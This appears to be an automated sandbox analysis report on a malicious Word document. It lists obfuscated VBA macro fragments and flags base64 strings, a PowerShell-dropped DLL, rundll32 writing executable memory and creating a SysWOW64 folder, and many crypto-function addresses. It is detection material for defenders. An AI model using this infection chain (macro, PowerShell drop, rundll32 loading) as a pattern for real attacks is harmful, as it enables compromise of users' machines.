Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set hiZkEEF = hSbDPCC.CreateTextFile("pygNv:\znIpFIR\yniMs.nmiIGDEDA")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set UPhhYZEF = lEOlGYxK.CreateTextFile("sojcFeJ:\zxDxYHq\rNbtS.PtHuEEP")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set bPFNuJ = VcIiQJFi.CreateTextFile("gNgYGZ:\CatdBMGGg\qGsdAdOQH.cJsxtdJE")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set OBwIBy = QZjuH.CreateTextFile("EEGvGuF:\XrXnHGDDB\noadJZ.yGcKj")
Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Set EUMDPGt = UUoAB.CreateTextFile("XFtOCOULb:\dMKcFHF\GAGPCEp.ZPnnAM")
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set VJbwzTDT = ChWZVJiB.CreateTextFile("gMEpHB:\SKWvYCA\YtZqA.fQoAE")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set JhiYfXc = HnBvAEH.CreateTextFile("ehLoAm:\PAVZiAGU\jVPHv.fAgoFBYmC")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set DRrKpoA = xxYeFGUAH.CreateTextFile("eCzvxHN:\cgVnKGAT\YcnDi.YqiJOp")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set AybxtEBCJ = bGMXEIA.CreateTextFile("grPSDMS:\lQkJoR\aZMUgjGC.pVvhaH")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set uJSEDH = dLrgANHCG.CreateTextFile("lBasV:\tFGoGJd\zBuHfBCN.AHGggII")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set tcYiEMeRH = RNgUODjsM.CreateTextFile("FyNFG:\ugXUH\cZIFypIHj.tRULIINC")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set gQxBD = PAxhJ.CreateTextFile("dFVzNBE:\EBCOlEEOJ\KlKcJKk.SVIvoAEqG")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set RkPWCDPC = xkJxAAC.CreateTextFile("tLvao:\aGKUA\AhQhj.BDOQSJWG")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set JADCpjk = rEeiBJ.CreateTextFile("VxskFWpm:\cuyOFYrFJ\SZSlaGJZi.TeBYCDZ")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set eUdbDAHHs = DyjPBI.CreateTextFile("OPLPBI:\fNyAExIq\jrtno.FyobBAAFE")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set njKwJdA = XwZxsHCGt.CreateTextFile("TNJvoD:\walkrfAE\EalrWFWTE.wDSOEJ")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set PmBxcD = rgBSB.CreateTextFile("PkeJHBJJH:\ODJMGCw\NefpJHvCX.XzgyeCQuA")			Name: Dn5440l_hb7
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String createtextfile: Set oOysMtDG = xCaTC.CreateTextFile("Oafyb:\RPNGMA\cmOgEyD.EEpGjE")			Name: Bp63ahh3hb4hyq
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String createtextfile: Set hiZkEEF = hSbDPCC.CreateTextFile("pygNv:\znIpFIR\yniMs.nmiIGDEDA")			Name: Bp63ahh3hb4hyq
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String createtextfile: Set UPhhYZEF = lEOlGYxK.CreateTextFile("sojcFeJ:\zxDxYHq\rNbtS.PtHuEEP")			Name: Bp63ahh3hb4hyq
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String createtextfile: Set bPFNuJ = VcIiQJFi.CreateTextFile("gNgYGZ:\CatdBMGGg\qGsdAdOQH.cJsxtdJE")			Name: Bp63ahh3hb4hyq
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Y4o_ocvl0jti6oho0r, String createtextfile: Set OBwIBy = QZjuH.CreateTextFile("EEGvGuF:\XrXnHGDDB\noadJZ.yGcKj")			Name: Y4o_ocvl0jti6oho0r
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Y4o_ocvl0jti6oho0r, String createtextfile: Set EUMDPGt = UUoAB.CreateTextFile("XFtOCOULb:\dMKcFHF\GAGPCEp.ZPnnAM")			Name: Y4o_ocvl0jti6oho0r

Document contains an embedded VBA with base64 encoded strings

Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String vRrzDEngIQvFPJfE
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String kWzGMzIVefGB
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String TthascRlxHZH
Source: VBA code instrumentation	OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String utFMeJhUKJhJ

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll

Jump to dropped file

Very long command line found

Source: unknown	Process created: Commandline size = 5293
Source: unknown	Process created: Commandline size = 5197
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 5197			Jump to behavior

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write

Creates files inside the system directory

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Qdobhqhwujf\

Jump to behavior

Detected potential crypto function

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1000976F		7_2_1000976F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B2C63		7_2_004B2C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BB41F		7_2_004BB41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BC0C6		7_2_004BC0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C3895		7_2_004C3895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BEE78		7_2_004BEE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C02C3		7_2_004C02C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C42DA		7_2_004C42DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B568E		7_2_004B568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C4B41		7_2_004C4B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B7B63		7_2_004B7B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B8736		7_2_004B8736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BF444		7_2_004BF444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BE05A		7_2_004BE05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C687F		7_2_004C687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C340A		7_2_004C340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C20C5		7_2_004C20C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B88E5		7_2_004B88E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B1CFA		7_2_004B1CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C889D		7_2_004C889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004CA0AF		7_2_004CA0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B80BA		7_2_004B80BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B60B9		7_2_004B60B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B48BD		7_2_004B48BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C7D03		7_2_004C7D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C8D1C		7_2_004C8D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C5D1D		7_2_004C5D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C511B		7_2_004C511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BB112		7_2_004BB112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B153C		7_2_004B153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BF536		7_2_004BF536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C0D33		7_2_004C0D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C71EF		7_2_004C71EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C31E2		7_2_004C31E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BF98C		7_2_004BF98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C9586		7_2_004C9586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B7998		7_2_004B7998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B6D9F		7_2_004B6D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B69A0		7_2_004B69A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C61B8		7_2_004C61B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C6DB9		7_2_004C6DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BEA4C		7_2_004BEA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C5A61		7_2_004C5A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C7A0F		7_2_004C7A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B2A30		7_2_004B2A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B9A37		7_2_004B9A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B4A35		7_2_004B4A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B96CD		7_2_004B96CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C8ADC		7_2_004C8ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C12E2		7_2_004C12E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C26F5		7_2_004C26F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B1280		7_2_004B1280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B62A3		7_2_004B62A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C2349		7_2_004C2349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C8F49		7_2_004C8F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C9B45		7_2_004C9B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BB75F		7_2_004BB75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B6754		7_2_004B6754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BC769		7_2_004BC769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C0B68		7_2_004C0B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B5B79		7_2_004B5B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B8F78		7_2_004B8F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BE377		7_2_004BE377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C1773		7_2_004C1773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C0F0C		7_2_004C0F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C7F1F		7_2_004C7F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C2B16		7_2_004C2B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BBB3A		7_2_004BBB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C63C1		7_2_004C63C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C1BDF		7_2_004C1BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B9FDC		7_2_004B9FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BD7EB		7_2_004BD7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C67E9		7_2_004C67E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C3FE7		7_2_004C3FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C878F		7_2_004C878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B839D		7_2_004B839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004C73AC		7_2_004C73AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004B17AC		7_2_004B17AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022B41F		8_2_0022B41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00222C63		8_2_00222C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022EE78		8_2_0022EE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022568E		8_2_0022568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00233895		8_2_00233895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002302C3		8_2_002302C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022C0C6		8_2_0022C0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002342DA		8_2_002342DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00228736		8_2_00228736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00227B63		8_2_00227B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00234B41		8_2_00234B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002363C1		8_2_002363C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00222A30		8_2_00222A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00229A37		8_2_00229A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00224A35		8_2_00224A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0023340A		8_2_0023340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00237A0F		8_2_00237A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00235A61		8_2_00235A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0023687F		8_2_0023687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022F444		8_2_0022F444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022EA4C		8_2_0022EA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022E05A		8_2_0022E05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002262A3		8_2_002262A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0023A0AF		8_2_0023A0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002280BA		8_2_002280BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002260B9		8_2_002260B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002248BD		8_2_002248BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00221280		8_2_00221280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0023889D		8_2_0023889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002312E2		8_2_002312E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002288E5		8_2_002288E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002326F5		8_2_002326F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00221CFA		8_2_00221CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002320C5		8_2_002320C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002296CD		8_2_002296CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00238ADC		8_2_00238ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00230D33		8_2_00230D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022F536		8_2_0022F536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022BB3A		8_2_0022BB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022153C		8_2_0022153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00237D03		8_2_00237D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00230F0C		8_2_00230F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022B112		8_2_0022B112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00232B16		8_2_00232B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0023511B		8_2_0023511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00237F1F		8_2_00237F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00235D1D		8_2_00235D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00238D1C		8_2_00238D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022C769		8_2_0022C769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00230B68		8_2_00230B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00231773		8_2_00231773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022E377		8_2_0022E377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00228F78		8_2_00228F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00225B79		8_2_00225B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00239B45		8_2_00239B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00232349		8_2_00232349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00238F49		8_2_00238F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00226754		8_2_00226754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022B75F		8_2_0022B75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002269A0		8_2_002269A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002217AC		8_2_002217AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002373AC		8_2_002373AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00236DB9		8_2_00236DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002361B8		8_2_002361B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00239586		8_2_00239586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0023878F		8_2_0023878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022F98C		8_2_0022F98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00227998		8_2_00227998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00226D9F		8_2_00226D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022839D		8_2_0022839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002331E2		8_2_002331E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00233FE7		8_2_00233FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022D7EB		8_2_0022D7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002367E9		8_2_002367E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002371EF		8_2_002371EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00231BDF		8_2_00231BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00229FDC		8_2_00229FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BB41F		9_2_001BB41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BEE78		9_2_001BEE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B2C63		9_2_001B2C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C3895		9_2_001C3895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B568E		9_2_001B568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C42DA		9_2_001C42DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BC0C6		9_2_001BC0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C02C3		9_2_001C02C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B8736		9_2_001B8736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C4B41		9_2_001C4B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B7B63		9_2_001B7B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C63C1		9_2_001C63C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C7A0F		9_2_001C7A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C340A		9_2_001C340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B2A30		9_2_001B2A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B9A37		9_2_001B9A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B4A35		9_2_001B4A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BE05A		9_2_001BE05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BEA4C		9_2_001BEA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BF444		9_2_001BF444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C687F		9_2_001C687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C5A61		9_2_001C5A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C889D		9_2_001C889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B1280		9_2_001B1280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B80BA		9_2_001B80BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B60B9		9_2_001B60B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B48BD		9_2_001B48BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001CA0AF		9_2_001CA0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B62A3		9_2_001B62A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C8ADC		9_2_001C8ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B96CD		9_2_001B96CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C20C5		9_2_001C20C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B1CFA		9_2_001B1CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C26F5		9_2_001C26F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B88E5		9_2_001B88E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C12E2		9_2_001C12E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C8D1C		9_2_001C8D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C5D1D		9_2_001C5D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C7F1F		9_2_001C7F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C511B		9_2_001C511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BB112		9_2_001BB112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C2B16		9_2_001C2B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C0F0C		9_2_001C0F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C7D03		9_2_001C7D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BBB3A		9_2_001BBB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B153C		9_2_001B153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BF536		9_2_001BF536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C0D33		9_2_001C0D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BB75F		9_2_001BB75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B6754		9_2_001B6754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C8F49		9_2_001C8F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C2349		9_2_001C2349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C9B45		9_2_001C9B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B5B79		9_2_001B5B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B8F78		9_2_001B8F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BE377		9_2_001BE377
